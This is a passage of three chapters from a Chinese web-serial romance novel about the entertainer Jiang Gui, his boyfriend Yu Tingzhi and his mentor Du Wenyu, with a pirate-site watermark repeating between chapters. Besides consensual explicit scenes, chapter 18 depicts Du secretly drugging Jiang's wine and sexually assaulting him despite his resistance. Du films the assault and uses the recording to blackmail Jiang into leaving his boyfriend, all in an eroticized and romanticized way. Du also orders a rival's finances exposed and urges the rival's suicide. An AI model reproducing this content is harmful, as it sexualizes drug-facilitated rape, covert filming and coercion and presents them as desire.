杜温瑜碰他的耳尖,“是不是想要?” 空气潮湿得好难呼吸。 姜瑰试着摇头,力气却不够,只能歪在杜温瑜怀里。 他似乎还是对这样的姿势有些很不熟悉的陌生,勾着男人的手,却连声音都是任取任求的气音:“好奇怪……” “不奇怪。” 杜温瑜连语气都是缱绻的。 他像是格外大方的资本家,毫不为难又万分宠爱的送姜瑰去了一次。 他贴近姜瑰耳边,像是撒旦的低语和引诱:“因为瑰瑰是搔宝宝。” “搔宝宝想要什么,老公都可以满足。” * 这一次的药效有些过于漫长。 月上梢头。 姜瑰甚至怀疑自己是不是服用超过了药量,带来了医生曾经跟他提过的副作用。 他在域叶有自己的休息室,以前忙起来的时候也经常在休息室过夜。 因此醒来后发现自己在休息室的床上,姜瑰倒没什么感觉。 只是看到旁边的杜温瑜。 姜瑰想起在黎重办公室的场景——应该是姚正带杜温瑜来救了他。 幸好还有……杜温瑜。 姜瑰和谢筠池闹掰,和巫南翻脸,姚正能求助的人只剩下杜温瑜。 当时他服药后意识不清没能跟人家说谢谢。 姜瑰有些不好意思。 他掀开被子下地穿好拖鞋,一双兔子耳朵在拖鞋上晃啊晃,晃到杜温瑜面前。 杜温瑜似乎在处理工作,神情有些严肃,一时间没发现他。 于是姜瑰就像个很听话又老实的学生似的乖乖合着腿站定:“杜老师。” 杜温瑜这才看过来,温和一笑:“醒了?” 男人似乎都没来得及更换衬衫,和以往时时刻刻的贵气不同,此时衣上还有褶皱。 姜瑰难得有了愧疚:“不好意思,杜老师……麻烦你了。我和黎重……” “不麻烦,我知道,姚正跟我讲过了。” 杜温瑜语气温柔,“身上有没有不舒服?” 姜瑰咬唇:“没有的。” 杜温瑜便伸手摸摸他的头:“黎重那边不用担心,不过如果你觉得这间公司不合你意,我可以带你走。” 姜瑰眼底亮了一下,但也只有一下:“走?” “跟我去欧洲吧。” 杜温瑜道,“那边乐坛发展会比国内乐观很多,多样性更强,如果你想走影视,我也可以送你去合适的公司,这边的违约金我来给你出。” 药物影响下去后的姜瑰是他最清醒的时刻。 清醒的让他很明白自己该何去何从。 姜瑰游移的目光低垂,对上杜温瑜温润的视线。 杜老师真是很好的人。 姜瑰想。 可他是太坏太坏的人。 没了谢筠池和巫南。 他不能放弃杜温瑜最后这一棵树。 可同样。 他也不能从这棵树上重获新生。 姜瑰下意识撇开视线。 窗外是夜色浓浓。 姜瑰戴上熟悉的面具,露出一个很甜很纯良的笑来:“好,杜老师最好了。” 杜温瑜弯了弯唇角:“确定好了?瑰瑰,去了就不能后悔了。” 姜瑰点点头,看上去很憧憬:“不后悔。” “好,所有手续我会帮你弄好。” 杜温瑜便点了头,顺便帮他拉了拉睡衣的领口,很绅士的模样:“医生之前说你受了惊吓,再睡一会儿吧,到天亮,我陪着你。” 这大概是他见过的最温柔的人。 姜瑰很突然的想。 他踩着自己的兔子拖鞋,一步一步的走回床边,突然又回头,多看了杜温瑜一眼。 你太坏了。 姜瑰。 你真的太坏了。 他明明对你这么好……你缺还是要骗他,利用他。 最后一次了。 姜瑰闭了闭眼,默默回到床上,缩成了一小团。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 17、第十七章 第十七章 到底没能再睡着。 姚正一个电话打进来:“你在哪儿?” 姜瑰窝在床里,露出一条视线刚好能看到杜温瑜在窗边工作的身影:“在公司啊……我休息室。” 姚正惊了:“那你等着我马上过来找你。” 顿了一下。 姚正长了个心眼:“你一个人吧?” 姜瑰:“不是哦。” 姚正心很凉:“那还是电话说吧。” 姜瑰依旧觉得杜温瑜是个天大的好人:“没关系,你来嘛,不影响的。” 姚正不废话:“换角那个事没谈妥,上热搜了。” 姜瑰十分冷酷:“没关系,违约金给我就可以了。” “是巫南不肯换人了。” 姚正道,“他现在反咬一口,说如果我们强行解约,让你赔付违约金。” 姜瑰:“……” 姜瑰都震惊了:“啥?” 姚正:“意思就是他现在让你立刻回大西北吹着风给他演男一,不然就让公司赔钱。明白了吗?” 姜瑰:“……” 姜瑰气得眼睛都直了,他往床上一摊,把自己铺平好一阵,才缓过一口气:“我从未见过如此厚颜无耻之人……” 姚正:“你现在怎么想的?” 姜瑰:“我想杀人。” 姚正:“来点有可行性的?” 姜瑰:“……” 两人的对话引来了杜温瑜。 他在床边坐下来,很自然的拉了拉姜瑰在床上打滚卷上去的衬衫,手指不经意碰过那一截藕似的细腰,碰得那人轻轻一颤。 “杜老师。” 姜瑰下意识抓了一把杜温瑜的手,要推开的姿势。 杜温瑜状似不识:“在说什么?” 姜瑰老老实实跟杜温瑜讲了个大概,很烦的又翻了个身:“姚哥,就没有点什么既不用演又不赔钱的方法吗?” “估计很难,剧组没人会出来帮你讲话。” 姚正说的实在,“都是要靠巫南挣钱的。” “靠,垃圾垃圾垃圾!” 姜瑰痛骂。 这个人连骂人都是漂亮的,唇红艳,染着情绪的眼睛像含着水,引人品尝。 杜温瑜不着声色的看着:“要片场录音吗?” 姜瑰眼睛一下亮了:“录音?!” 两人挨得很近,这一句同样清晰的被姚正听到。 “杜先生有录音?” 杜温瑜不急不缓,声音柔和:“很巧,我有个朋友刚好在那边做现场收音。我让他传过来了,你们可以看看有没有需要的片段。” 那是太太太……太需要了。 随着录音开始播放。 现场包括巫南先提出的换人,后续一系列经过,无比清晰。 “姜瑰,这个好啊!” 喜意简直要从姚正的话音里跳出来,“有这个哪怕打官司咱们也不怕,杜先生,不知道能不能……” “当然,我已经发给瑰瑰了。” 杜温瑜性格颇好,“祝你们顺利。” 姚正无比满意的切断通话。 解决了心腹大患同时赚到了解约金,床头的手机震了一下,是杜温瑜发过来的音频。 姜瑰下意识抬头,对上男人清风朗月般的视线。 得到太多,太轻易,却丝毫没有付出。 姜瑰从来没体会过这种滋味,杜温瑜却总是给予他这些。 “杜先生……” 姜瑰难得语塞。 他总觉得自己早都没了良心,但面对杜温瑜的时候,却还是觉得羞耻,“我……” “奥地利没这些令人讨厌的事。” 杜温瑜俯身,揉了揉姜瑰的耳朵。 姜瑰一愣。 “那边人口很少,你会有自己的录音棚和练习室,我名下的音乐公司没有其他艺人,不会有人和你竞争。” 杜温瑜轻声说,“我们可以去湖区散步,去萨尔茨堡看落日,去看雪山和草原。” “瑰瑰,你会很自由。” 最后的两个字像钢钉扎进姜瑰心里,扎得他千疮百孔,又痛得神魂俱灭。 姜瑰对上杜温瑜的眼睛,像是带着血从心口里吐出的字眼:“好。” 杜温瑜笑起来:“就要天亮了,我带你去早餐。瑰瑰,今天休息一天,可以吗?” “嗯。” “我去外面等你,换好衣服出来,好不好?” “好。” 杜温瑜起身向外。 他高挑的身形像遮风避雨的城墙,在姜瑰面前豁然立起,又不断远离。 姜瑰看着那道背影一直到门重新关上。 收回视线,看了眼窗外。 阴沉沉的晨雾里,一只飞蛾不断撞击玻璃,像能人定胜天,闯进休息室的灯火辉煌。 姜瑰怔怔看了一会儿,弯唇笑起来。 他哪有自由。 腐烂入骨的恨和怨如跗骨之蛆无时无刻啃食得他生死不能,在每一个午夜梦回,他都如同被绑在原地的地缚灵,一日又一日重头来过。 大概杜温瑜是这个世界给予他为数不多的美梦。 可美梦还是要醒的。 姜瑰穿好衣服,在镜子前遮住自己难看的脸色。 拉开门,正要朝杜温瑜露出笑脸,却发现他的对面站着另一张自己熟悉的面孔。 就在这一秒。 姜瑰先看了那个人:“虞亭至?” 域叶管理严格,但现在不是普通员工上班的点。 可此时此刻。 公司除黎重外所有的高管和部级主管全数到场,候在一旁。 姜瑰定睛看了眼,虞亭至身后的人他竟然认识——正是昨天刚跟自己大吵过一架的副总。 这场面怎么看……都怪异。 “出来了?瑰瑰。” 杜温瑜伸手揽过姜瑰,“这位是域叶……” 虞亭至的手却先杜温瑜一步握住姜瑰的手。 那是个两人都很熟用的姿势。 在流星雨的夜晚,这双手的温度也是这样牵住自己。 暖的,干燥的,包围的。 姜瑰下意识低头看了一眼,没有挣扎。 “还是我自己来介绍吧,杜先生。” 虞亭至将姜瑰从杜温瑜身边引到了自己身边。 他比杜温瑜更年轻,身形相仿,两人目光相对的互不相让。 虞亭至先低头安抚的拍拍姜瑰,然后迎上对手的视线:“杜先生,幸会,我是域叶新的ceo,姓虞,虞亭至。” 姜瑰一双漂亮的眼睛蓦然瞪大,不可思议的迅速看看虞亭至,又瞅瞅杜温瑜。 接着又重新全神贯注像不认识似的打量了一遍虞亭至:“不是吧?你……” “幸会。” 杜温瑜打断了姜瑰,伸手握上虞亭至,转而一笑,“虞先生青年才俊,很有胆识。” 在圈子里,杜温瑜这名字无人不知。 因此这些年来更是几乎没人主动挑衅。 偏偏虞亭至做了,不卑不亢:“黎重的事我已经听说了,万分感谢杜先生对瑰瑰的保护。域叶一定重谢。” “哦,怎么谢呢?” 杜温瑜饶有兴趣。 下一秒。 他话锋一转:“不过小虞总,有一件事你恐怕还不知道,我想,瑰瑰应该也还没来得及告诉你。” 姜瑰一愣,随即想到自己刚才的承诺,立刻慌了。 虞亭至却已经先道:“那就请杜先生赐教了。” “谈不上赐教。” 杜温瑜的目光在虞亭至和姜瑰交握的手上留连许久,悠然道,“只是在小虞总上台之前,瑰瑰已经答应和我回奥地利发展。这……” “我那只是随口说的!不作数!” 姜瑰大声道。 场面瞬间沉进谷底。 就在这一秒。 姜瑰觉得自己身上像是冷透了。 虞亭至像被冷水泡过的目光粘在他身上一动不动,对面杜温瑜幽深如井的视线也同时趋之若鹜。 那像是一种争夺所有权的战争。 于是许久都没能决出胜负。 不知时间到底走了多久。 杜温瑜突然转开目光,朝姜瑰温和一笑:“瑰瑰,你确定你想好了?留在这里。” 理亏太多,姜瑰根本不敢再看杜温瑜的眼睛。 只有虞亭至丝毫不掩盖二人关系的,当着所有人的面亲了亲姜瑰的额头,又碰了碰耳朵:“杜先生,我想瑰瑰已经回答的很清楚了。” “好。” 出乎姜瑰意料的。 杜温瑜没有任何挽留,没有任何多言,只仿佛这件事是再平淡不过的一件事,根本不值得掀起他昂贵生命里的任何时间。 或许就是这样的。 杜温瑜的时间太过宝贵,商务,广告,代言,音乐……就像巫南那样,他的时间并不是一定要给谁。 姜瑰松了口气。 杜温瑜看上去已经完全退回原本的边界,礼仪到位的微一点头。 “既然如此,我尊重你的决定。” 杜温瑜道,“瑰瑰,我后天要回奥地利。你的ep时间恐怕不够充裕。” 那张说好的大碟。 现在他已经没了大电影,不能再没歌。 姜瑰咬了下唇。 杜温瑜依旧温柔绅士:“这样,你今天先跟我回去,我们把细节最后敲定好,明天你就能和小虞总一起讨论专辑研发了。” 这个办法看上去格外可行。 姜瑰没觉得有什么不妥,下意识看了一眼虞亭至。 这只是一个很小的动作。 却落进杜温瑜晦涩森然的眼睛里。 “可以。” 虞亭至捏了捏姜瑰的手指,“杜先生的车恐怕不太方便,瑰瑰,我送你过去。” 虞亭至看向杜温瑜:“杜先生先请。” 杜温瑜颔首,率先走了。 a市早间晨雾很重。 戴着手套的司机打开车门,黑色的劳斯莱斯静静驶出这一片cbd。 may坐在副驾,犹豫半晌:“老板,刚刚黎家老太爷亲自打电话来求情了。” 雨淅淅沥沥开始下了。 杜温瑜哦了一声,很随意:“求什么呢?” “就是黎重……域叶黎董那个事。” “他还没死么。” 杜温瑜的语气竟是略有惊讶的。 may颤了一下,和车内的保镖与司机一同沉默。 杜温瑜情绪并不高,像随口处置一件物品:“把他家在ubs的黑账随便发一些吧,还有他家在外的那几个孩子。” 雨落在玻璃窗上。 这车隔音太好,听不到内里的恐怖与惊悚。 杜温瑜从烟盒里摸出一根烟——是姜瑰衣兜里的那盒,昨天他换衣服彻底抚摸的时候,顺手捎走的。 阴郁的雨中。 男人藏在温和下的另一张脸得以窥见丝毫。 “你跟黎老爷子说,让黎重跳吧。” 杜温瑜点燃烟,缓缓道,“听个响。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第18章【VIP】 第18章 姜瑰发现虞亭至今天没开他送的那辆布加迪, 换了辆黑色的奔驰e。 这车挺商务,姜瑰坐得很少,好奇打量了一圈:“你新买的?” “嗯。” 姜瑰评价:“一般般。” 虞亭至侧目看过来, 笑了:“玫瑰同学, 你的那些黑料和片场纪实都得花钱, 先忍忍, 年底带你换辆车。” 姜瑰:“……” 心虚的人哼哼唧唧扭开了头。 过了一会儿。 姜瑰又扭回来:“你为什么会和域叶有关系啊?” 虞亭至开车很稳,到红绿灯还能打开瓶盖让姜瑰喝水。 “是我母亲那边的产业,我答应她回来了而已。” 虞亭至接过姜瑰喝了几口的水, 将剩下的喝了大半, “晚上我去杜温瑜家接你吗?” “好呗,你给我做饭。” 姜瑰在副驾上滴溜溜的想坏主意, 然后眨眨眼,“虞亭至。” “嗯?” 姜瑰:“你是不是就像偶像剧里那样,为了深爱的我, 决定回到那个你不想回去的家?” 虞亭至:“……” 崭新的奔驰e往小巷内打了一把,一脚刹停在A市老城区的马路边。 银杏还没变黄,葱绿的投下大片阴影。 虞亭至说:“是。” 姜瑰头一回没能调戏到人, 反被噎得愣了一下。 虞亭至目光对上姜瑰的视线:“我父亲是个只追求艺术的人, 母亲是他们家族最有希望的继任者。他们分开很早, 我不是太接受父亲的做派,也并不喜欢母亲那边的环境。” 姜瑰眸光颤了颤。 “但全世界只有一个你。” 虞亭至轻轻叹息一声。伸手揽住姜瑰的腰,将他整个人带进怀里抱紧,是个非常贴合又亲密的姿势。 “我和他们不同, 我会付出所有,尽全力爱你。” 他抬起姜瑰的下颌,唇覆上去, “姜瑰,你能不能也坚定一点,别离开我?” 掐在腰上的手几乎把姜瑰握痛了。 在这一方小天地里,虞亭至全方位的保护他,选择他,碰触他。 充沛的情感像凿开冻土的一把钥匙。 姜瑰想起两人初遇的夜晚,想起被涂鸦的画作,想起两人在家里时的玩笑——想起那场他从未见过的流星雨。 这一路到此,从未有人如此坚定的选择过他。 姜瑰伸手圈住虞亭至脖颈,趴过驾驶台,坐在他身上,低头重新亲了男人一口。 炎热的午后,这条小路上没什么人来。 姜瑰眯眼笑起来,很坏的在男人腿上左左右右蹭来蹭去,然后低下头,细白的牙齿似有若无擦过那人耳廓,不知说了些什么。 虞亭至僵了下,大手握在姜瑰腰臀上,低斥:“别闹。” 他喉结猛地滚了几滚,伸手将冷气按低许多:“你先下去。” “我不。” 姜瑰哼哼唧唧的抱着虞亭至不松手,搂了一会儿,又凑过去,呵出一口气。 姜瑰小小声的在虞亭至耳边说:“老公,我想要你。” 防窥涂层遮住车内虞亭至勃然大变的脸。 他手上狠狠用力抓了一把,似是忍无可忍,抬手一巴掌重重扇在姜瑰屁股上:“再搔!” 姜瑰闷闷哼了一声,浑身颤抖着缩进虞亭至怀里。 他惯会用这些撒娇的口吻,求起人来软的没边:“来嘛,我乖乖的。” 虞亭至倒吸口气,重新将姜瑰抱回怀里:“等今晚回家。” “不。” 姜瑰才不听他的,“就现在。” 虞亭至耐心地哄着他:“乖了,车里不方便。” “就要车里。” 姜瑰整个人在虞亭至身上摸来摸去,趁他不注意一下放倒了驾驶座,眼睛亮亮的伏在男人身上,“嘿嘿,给你的新车开个荤。” 虞亭至:“……” 车内过低的空调让姜瑰的指尖也显得微凉,伏跪上来的时候他身上用的沐浴露香味亦变得更加明显。 也因为这个动作,他身上衬衫的领口落下来,露出一大片雪白的皮肤。 虞亭至看到了贴在姜瑰胸口的那只纯黑色的枯尾蝶。 疯了。 虞亭至想。 他按住姜瑰的腰强迫人往下塌。 然后圈着姜瑰换了姿势,反手将空气调高了些。 大颗大颗的汗珠顺着虞亭至的额际落在姜瑰漂亮的脸上,衬出他那双似乎有些失焦的眼睛。 男人伸手将姜瑰被打湿的头发圈在他耳后,又俯身吻了吻:“舒不舒服?” 姜瑰喃喃着要抱,眼睛里湿漉漉的,又摇着头吚吚呜呜的哼。 “娇气包。” 虞亭至便把姜瑰抱起来,全部抱进怀里,又仔细亲了亲,“我爱你。” 姜瑰被下降的重力狠狠贯了一下,气得在虞亭至肩膀上咬出一个很深的牙印。 虞亭至却笑起来,伸手捏了下姜瑰的脸:“不气,乖乖,我永远陪着你。” * 一顿胡闹之下,两人到杜温瑜的七号公馆已经是下午四点的光景。 毕竟要见人,姜瑰重新换了件高领长袖的衬衫,临下车前仔仔细细对着镜子照了半天:“诶,看不出来吧?” 车内的味道没有散去。 姜瑰身上奶油味的沐浴乳夹杂若有若无的石楠花气味飘进虞亭至鼻腔里,只看表面倒是不见分毫。 “没有,很好看。” 虞亭至亲了亲姜瑰额头,“我回公司开个会,开完就来接你。” 多数时候姜瑰很好说话:“算啦,太晚我就睡这里好了,反正以前杜老师也没介意。” “不行。” 虞亭至牵过姜瑰的手,咬了一口他粉白色指尖,“我会介意。” 姜瑰:“好吧,那我让May送我回去好啦。在家等我哦。” 停在七号公馆前的奔驰e直到姜瑰的身影完全消失在门后,才发动车子走了。 庭院内依旧小桥流水,是A市难得能看到的江南审美。 姜瑰穿过水榭回廊,才发现门前原本的花厅重新又布置过,原本的郁金香和薰衣草不见了,全部改成了玫瑰田。 这个季节其实并不十分适宜玫瑰生长,但花圃内各色的玫瑰盛放依旧。 正是快要落日的时候,太阳偏西,金辉洒在玫瑰田里,色彩缤纷。 室外多了一座玻璃琴房,正放在玫瑰田正中央。 一架三角钢琴和巨大的收音混音装置大剌剌摆在玻璃琴房里,像是在等待它的主人。 May悄然无声出现在玫瑰丛边:“姜先生。” 姜瑰看的专注,吓了一跳。 May依旧一身职业装扮:“姜先生,你比约定时间晚了些。杜老师正在接电话,可能需要你稍微等等。” 姜瑰:“啊……没事没事,不要紧。” 姜瑰一向知道杜温瑜是很忙的。 只不过他来见杜温瑜真的很少会等,以前几乎都是来了就能见。 唯独今天。 大概杜温瑜是真的有事。 虽然May邀请姜瑰进屋里去等,但毕竟不是杜温瑜开口,姜瑰也没好意思,老老实实的坐在门前的回廊亭里,翘着脚有一搭没一搭的玩手机。 回廊亭回头可以看到这套公馆的大门,向前可以看到玫瑰花田和花田里的玻璃房。 脚下还有锦鲤游来游去。 姜瑰撒了把食,又打开手机给虞亭至回信息,连发了好几个表情包:“#猫猫无聊#猫猫伸懒腰#猫猫打滚#” 虞亭至回过来:“#摸摸猫猫#” 姜瑰乐了,正要再回,一抬头却发现杜温瑜不知什么时候已经站在了自己身边。 男人身形挺拔高大,在手机屏幕上掠下一片阴影。 姜瑰下意识把手机按灭藏在了身后,小朋友似的站起来:“杜老师。” 杜温瑜语调温和:“在和小男朋友聊天?” 姜瑰不好意思的低下头,摸了摸鼻子,没否认。 自然也就没看到杜温瑜眼底的幽色。 锦鲤食盒就放在一旁。 刚刚姜瑰喂了一把食,胖胖的锦鲤们还没散去。 杜温瑜伸手,也抓了一把,抛出去。 水花点点,锦鲤们争相追逐,不可开交。 杜温瑜问:“晚上想吃什么?” 姜瑰是很爱这里的厨子的,听说是杜温瑜特意请来的,中国菜和意大利菜都各有所长。 “我要吃炖牛腩炖海鲜可丽饼生火腿……” 他下意识张嘴报了一串菜名,随即想到什么,改了口,“……算了,杜老师,我每次来都蹭吃蹭喝的,感觉好难为情。” 姜瑰言之凿凿,仰起脸去看杜温瑜,笑嘻嘻道:“今天不吃杜老师家饭了!” 杜温瑜眉梢很轻微的一扬:“哦?是要和男朋友出去吃么。” 被猜到要害。 姜瑰生硬的转了话题:“杜老师真的要送给我新EP吗?” 杜温瑜垂头看他。 黄昏最后的余光落在姜瑰扇形的鸦羽上,落下碎碎点点的微光。 他换了早上的衣服,起身的时候没那么自然,他走过来的时候身上还染着石楠花的味道。 却还好意思开口来问自己索要礼物。 他真是个……不折不扣的,荡货。 杜温瑜温柔的笑起来。 伸手揉了揉姜瑰的头发:“当然。” “瑰瑰,其他男人都会骗你。但我对你的承诺永远有效。” 杜温瑜道。 姜瑰小小的张了张嘴,细声的反驳了一句:“也不是其他男人都骗我啊……” 杜温瑜收回视线:“走吧,带你去试音。” * 姜瑰没想到杜温瑜新的工作室竟然就是这间玫瑰花房。 远远看着的时候还不觉得这里大,直到走进来后,姜瑰才发现这里面竟然比外面看着要大许多,而且许多细节也必须得进来才能看清。 整间玫瑰琴房里都铺着厚重的地毯,拖鞋踩上去的时候软的像能塌下去一块。 除了正中央的三角钢琴和挂在两旁的各种弦乐吉他贝斯和角落的架子鼓,室内更配备了全套的收音设备和录音装置。 在最头顶上的位置,甚至有一架三百六十度摄像机。 另一边角落里看上去更居家些,首先是张水吧台,上面零零散散放了些谱纸。 旁边是张看上去格外柔软的懒人沙发,旁边放了张打理好的大床,很大,床垫厚重,是欧式的风格,四周有一层遮蔽的床幔。 姜瑰有点好奇:“杜老师,这种玻璃隔音好吗?” 杜温瑜在他身后进来,关上门:“除了风声和雨声,还会有什么声音。” 姜瑰:“……” 这倒是真的。 姜瑰见过这间公馆的佣人都很怕杜温瑜的模样,虽然他一直都并不觉得杜老师有什么好吓人的。 杜温瑜径自走到水吧边,取出两只白兰地杯,有信手挑了只红酒,倒了个杯底。 走过来,将其中一杯给了姜瑰:“四十年的柏图斯,尝尝。” 至多不过几口的量。 以前姜瑰经常喝。 粼粼的酒液晃在杯子里,姜瑰不知为什么突然顿了顿。 这是个他自己都说不出为什么的动作,像是小动物的第六感。 但杜温瑜却主动碰了一下他的白兰地杯。 玻璃轻碰的脆响声扰了姜瑰的心神。 他端起酒杯抿了一口,是绵密的葡萄香味。 “喜欢吗?” 杜温瑜问。 姜瑰点了一下头:“嗯。” “那就喝完吧,干杯。” 杜温瑜格外绅士的道,“祝我们瑰瑰大爆,越来越火。” 红酒见了底。 杜温瑜走过去调了收音,又调了音响的重低配音,不知道为什么还动了最高处的全景摄像头。 然后他掀开钢琴盖。 对姜瑰招招手:“来我身边。” 姜瑰觉得自己似乎有些累,不知道是不是因为今天在车上累到,在迈步的时候,他觉得腿好酸。 就连走到钢琴边的这一段路都有些困难。 在离钢琴只一步之遥的时候,姜瑰膝盖一软,整个人瞬间跪下去—— 好在被杜温瑜伸手捞住,带回琴凳上。 姜瑰有些难为情:“杜老师……” 杜温瑜扶着姜瑰的腰让他坐好,声音似乎并不和平时那么温和:“怎么?” 这一秒姜瑰有些恍然,好像自己真的是杜温瑜的学生。 杜温瑜的目光落下来:“瑰瑰,不是约好来这里敲歌么?你这是什么状态?” 姜瑰从没被杜温瑜这样训过—— 说训似乎也不对。 就是和平时不同。 但姜瑰也不知道为什么,他就是很不舒服,他用不上力,整个人都像是水一样的要往下软。 甚至姜瑰怀疑如果不是杜温瑜在托着他腰。 他已经要软在钢琴上。 “我……” 姜瑰急促的张张嘴。 杜温瑜皱了眉,似乎很失望的模样:“姜瑰,你总不会告诉老师——你是刚刚被男朋友狠狠艹完,才来这里吧。” 姜瑰呆住了。 一瞬间脸唰的通红。 他连辩驳都不知该如何辩驳,又怕杜温瑜觉得自己好像是个很浪荡的见货。 只下意识道:“没有……没有被艹……” “是么。” 杜温瑜的语气冷了下来。 他的老师似乎因为他的说谎而因此失去了耐心。 杜温瑜松开了手,任由姜瑰软在钢琴键上,带出一连串哗然的琴响。 “那我检查一下吧。” 杜温瑜道。 姜瑰愣住…… 他后知后觉自己的思维好像莫名其妙的变慢,但直到这时他依旧没能怀疑杜温瑜。 姜瑰甚至第一时间没能听懂杜温瑜是什么意思,呆了很多秒,才有些茫然的软着舌头开口:“什……什么?” “老师要检查。” 杜温瑜就这样轻而易举的将姜瑰抱起来坐在自己身上,慢慢浏览男孩子的腿,缓缓道,“看看瑰瑰是不是不说谎的乖宝宝。” 黄昏向晚。 落日余晖。 姜瑰反应很久,直到杜温瑜修长有力的大手拽开他的衣衫,他才猛地摇头挣扎起来:“不……不……” 已经来不及了。 那双带着薄茧的手攻城略地,开疆拓土,搅个天翻地覆后,带着指节上的不堪,刮在姜瑰新换的牛仔裤上。 难看又乱七八糟。 杜温瑜的声音已经彻底沉了下去。 他俯身,贴近姜瑰的耳朵,声音像是末日咏叹:“瑰瑰,你真是个爱撒谎的坏孩子。” “明明偷偷还含了其他男人的东西。” 杜温瑜的手指重新钻了进去,“就敢来找老师要礼物了。” 不知道是这间玫瑰琴房太热。 还是其他原因。 姜瑰浑身的汗水已经湿透衣衫。 他毫无力气的软在杜温瑜怀里徒劳的挣扎,又听到刚刚那些话,只觉得羞臊异常。 可在意识最深处,又觉得哪里不对。 ……一定是有哪里不对。 他和虞亭至是正常交往的关系。 和杜老师……不对。 姜瑰拼命摇头,搭在男人肌肉线条分明的胳臂上的手努力撑着想要站起来往前爬,想要努力离杜温瑜远一点,再远一点。 却无法成功。 在这间视野毫无遮挡的玫瑰琴房里。 杜温瑜褪下姜瑰最后一丝能够蔽体的衣衫,以往只玩各种乐器的手渐渐碰过他身上每一处痕迹,接着轻声道:“好脏啊,瑰瑰。” 姜瑰浑身颤抖,他连最后一丝力气也没了,只能依靠着杜温瑜才能坐住。 他没能听懂这句话。 杜温瑜却低头,毫无犹豫的覆上姜瑰的唇,品尝许久,才拉开一道细细的线。 “我等了这么久,瑰瑰,你还是把自己弄得这么脏。” 杜温瑜将姜瑰抱起来,放在水吧台上。 冰冷的大理石瓷面凉得姜瑰悚然战栗,却在突然一秒里捕捉到了分毫真相。 明净的流动水龙头接上一根软管。 杜温瑜让姜瑰靠在自己身上,语气出奇耐心又温柔:“没关系,吃过教训,洗干净就好了,嗯?” 水好凉好凉。 凉得姜瑰闷哼着去抓旁边的台面,却被杜温瑜伸手握住,硬生生拉回怀里。 “瑰瑰应该只靠着我。” 杜温瑜训诫似的在姜瑰耳边道,“刚刚那样,老师不喜欢。” 姜瑰却咬住舌尖,咬出了血点,唤回一丝微薄的理智:“你不是……我老师。” 杜温瑜捏开姜瑰的唇,看到他舌尖的伤口,眉目一敛:“哦?” “你……下了,药。” 水管不停刷洗,姜瑰连几个字都说的艰难,“你变……” 杜温瑜又吻他,将他最后的一个字吃进嘴里:“变态吗?” “傻瑰瑰。” 杜温瑜扣住姜瑰的五指,然后带着他的手,一起去摸姜瑰平摊的小肚子。 偌大的玫瑰琴房里寂静无声。 只杜温瑜磁性如大提琴的嗓音响起,将姜瑰缓缓拉进地狱里:“我喂你药很久了。” 冲洗的软管被男人的大手不急不缓退出来。 杜温瑜将被洗的干净的姜瑰抱回怀里,像哄孩子似的拍着后背,却在他惊愕瞪大的眼神里突然变化,不由反抗的逼迫了他。 姜瑰面色瞬间苍白如纸,向前趴进杜温瑜怀里。 “你看。” 杜温瑜亲了亲姜瑰像是振翅欲飞的蝴蝶骨,“乖宝宝,你的意志比你更熟悉我,好棒呢。” * 玫瑰琴房的天幕可以看到星空点点。 月夜的风刮动窗外满园的玫瑰,夜色的凉意却丝毫漫不进这片玻璃围墙。 姜瑰求了杜温瑜很多很多次。 求到他声音彻底哑掉,只会呜呜的在男人怀里颤抖着哭。 两人从头到尾都没有去到那张有着帷幔的大床上,杜温瑜将他贴在玻璃上,一边是彻骨的凉,一边是火烧的热。 玻璃脏掉了。 姜瑰看到May在晚上九点多的时候沿着石子小路走过来,充满怜悯的眼神隔着玻璃落进来。 他吓得大哭,什么话都肯说的求杜温瑜放过他。 他竭尽全力往房间里爬,膝盖都通红,却被男人单手拽着脚踝拉回来。 最后。 杜温瑜终于抱着他上了床。 厚重的床幔拉下来。 杜温瑜调好冷气,把姜瑰抱进怀里,盖好被子,亲了亲他嘴角:“宝贝,老公带你看电影。” 床幔底部的投影亮起。 从下午六点开始到凌晨两点的全景记录出现在影片里。 姜瑰甚至已经没力气挣扎初杜温瑜的怀抱,他看着格外清晰的每一幕,眼泪一颗一颗从眼眶里滚下来。 杜温瑜温热的舌将每一颗眼泪都卷进唇齿,温柔问:“好看吗,宝宝搔不搔?” 姜瑰放在床头的手机早已经因为反复来电和挂断没了电,喊哑的嗓子连说一个字都艰难:“我恨……你。” “不要紧。” 杜温瑜帮姜瑰一下一下揉着肚子,“老公爱你。” 姜瑰眼眶通红,看上去可怜极了:“你放了……放了我……” “不行啊。” 杜温瑜咬了一口姜瑰肿胀的唇珠,随手拿过遥控器切了个角度,“宝宝,虞亭至看到这个,会怎么想你呢?” 已经疲倦极了的人神色大变:“不,不要!” 杜温瑜神色阴沉,却扯了扯嘴角:“好,不给他看。” “但是瑰瑰宝宝离开他吧。” 杜温瑜柔声道,“要快一点,老公忍不住了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第19章【VIP】 第19章 第二日天阴。 是杜温瑜亲自开车把姜瑰送回的域叶。 车上没有其他人, 就连保镖都没有一位。 杜温瑜把姜瑰抱回身上,揉揉弄弄了一番,才伸手给他穿好衣服, 将每一颗纽扣系得平整。 “别让任何一个人碰你。好不好?” 他亲着姜瑰的唇, 手顺着无比熟悉的腰际线条游移。 来之前被喂了润喉的丹参水, 姜瑰不肯说话。 更比任何人都知道自己挣脱不了, 垂着眼,犬齿狠狠咬破了杜温瑜的下唇。 杜温瑜低低笑起来。 鲜色欲滴的血渍顺着他唇际线条落下来,其中一滴砸在姜瑰刚穿在身上的新衣服上。 杜温瑜像是并未觉得疼痛, 反而瞧见了那滴血:“宝贝, 你要怎么跟你的小男朋友解释呢?” 姜瑰低头去看,神情微滞。 “是要说是和我偷情被弄脏了吗?” 杜温瑜掐着姜瑰的腰, 语气兴奋,“还是又想到了其他谎话,嗯?” “你别说了!” 从昨晚至今巨大的恼羞成怒和烦闷忧虑在这一刻到底席卷了姜瑰的所有理智。 明明所有的思考都告诉他不要得罪杜温瑜, 哪怕先敷衍他,哄骗他,只要稳住他——这是姜瑰最大的一张底牌。 亦是曾经最好用的底牌。 只是现在底牌上覆盖的润色褪去, 露出了底部狰狞凶恶的另一面。 但姜瑰已经没其他牌可打了。 他不想把虞亭至当做一张牌。 这个世界上能对他好的人很少。 姜瑰咬着唇, 深吸口气——杜温瑜早晚是要回奥地利去的, 他的家族兴衰都在国外,总不会一直留在这里的。 他还有时间,还有机会。 不要怕。 男人的手骨抬起姜瑰的下颌。 